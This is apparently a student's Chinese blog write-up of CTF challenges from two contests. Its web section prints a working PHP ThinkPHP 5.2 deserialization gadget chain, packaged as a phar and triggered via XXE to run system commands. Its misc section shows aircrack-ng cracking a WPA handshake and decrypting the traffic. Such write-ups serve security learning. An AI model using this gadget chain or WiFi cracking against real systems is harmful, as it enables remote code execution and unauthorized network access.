上个月初周末连着打了两场,湖湘杯和红帽杯,本想着比赛完抽个时间把WriteUp补补,题目照着wp再做一遍,各种原因推到这个月,然后赛题环境也被关了。。。两场下来拼死做了两三个题,差的还是有点多,这次依旧贴上网上的WriteUp。
web
Ticket_System
查看源码,得到暗示/hints.txt,告诉我们hint.txt不在web根目录,在服务器根目录。
然后看样子,是要我们上传ticket(xml?)。
两个注入点,一个是xml的文件上传,一个是ticket的表单提交,但是在xml的提交界面,没找到注入点,遂做到这里就卒了,其实依旧是xxe,不过是在ticket中。
xxe执行成功后,继续读根目录下hints.txt,了解到要想得到flag,必须执行远程代码执行漏洞
除了file协议XXE同样能执行phar协议,并且从报错页面得知thinkphp的版本为5.2.0,利用thinkphp的反序列化链即可实现rce,这里直接上大师傅的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php namespace think\process\pipes { class Windows { private $files; public function __construct($files) { $this->files = array($files); } } }
namespace think\model\concern { trait Conversion { protected $append = array("Smi1e" => "1"); }
trait Attribute { private $data; private $withAttr = array("Smi1e" => "system");
public function get($system) { $this->data = array("Smi1e" => "$system"); } }
} namespace think { abstract class Model { use model\concern\Attribute; use model\concern\Conversion; } }
namespace think\model{ use think\Model; class Pivot extends Model { public function __construct($system) { $this->get($system); } } }
namespace { $Conver = new think\model\Pivot("perl /tmp/uploads/4c7e666e48a33cbf1a0fb89ac69c1014/20191110/d46fcd63923e7897cc7674913a47a99f.xml"); $payload = new think\process\pipes\Windows($Conver); @unlink("1.phar"); $phar = new Phar("1.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($payload); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); echo urlencode(serialize($payload)); } ?>
|
生成出来的1.phar改一下后缀为1.xml,上传上去,得到路径后,直接phar协议搞到flag。
Misc
恶臭的数据包
貌似这个题工作室的学长大佬们也做出来了,刚开始是一个流量包,使用kali的aircrack解包,同时获得密码12345678。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #查看essid root@kali:~/Desktop# aircrack-ng cacosmia.cap Opening cacosmia.cap Read 4276 packets. # BSSID ESSID Encryption 1 1A:D7:17:98:D0:51 mamawoxiangwantiequan WPA (1 handshake) Choosing first network as target. Aircrack-ng 1.3 Passphrase not in dictionary Please specify a 151/235 keys tested w). Time left: 0 seconds 64.26% Quitting aircrack-ng... #爆破密码 root@kali:~/Desktop# aircrack-ng cacosmia.cap -w /usr/share/wordlists/fern-wifi/common.txt Opening cacosmia.cap Read 4276 packets. [00:00:00] 16/688 keys tested (1029.20 k/s) Time left: 0 seconds 2.33% KEY FOUND! [ 12345678 ]
Master Key : B4 2C 77 C0 A8 F4 E6 E9 9F 85 1B ED 7B 3F 5A 91 3C AA D4 42 B9 6D 5C D2 A1 90 E3 F9 75 B3 6D 9F Transient Key : 8B D7 4A 1F 2A 0D B7 40 C1 3B BC C9 13 60 46 E5 49 4E 9B 9A AF BD E3 89 33 5A 73 C8 95 AC 53 94 AF 92 D1 D9 ED E4 B2 AF 40 C1 03 D8 98 2D 8A 90 00 58 39 CF C2 9E B9 80 A2 D5 86 57 9A 00 00 00 EAPOL HMAC : D8 97 A1 FD CF F2 87 89 6A 19 EF 14 44 33 E0 3C #用essid和密码解密流量包 root@kali:~/Desktop# airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678 Total number of packets read 4276 Total number of WEP data packets 0 Total number of WPA data packets 685 Number of plaintext data packets 0 Number of decrypted WEP packets 0 Number of corrupted WEP packets 0 Number of decrypted WPA packets 538
|
然后wireshark打开解密的流量包,发现有一个png图片。
winhex打开发现末尾有个压缩包,提取出来之后发现要密码,不知道密码是啥,爆破无果,后来回到压缩包发现token的session。
解密看看:
然后根据提示,密码是之前ping过的一个网站,直接找tcp/udp的包,找到密码,填入后得到flag
还有一道略狗的题目,考的逻辑电路,就不贴出来了。(王立明老师保佑我数字逻辑别挂)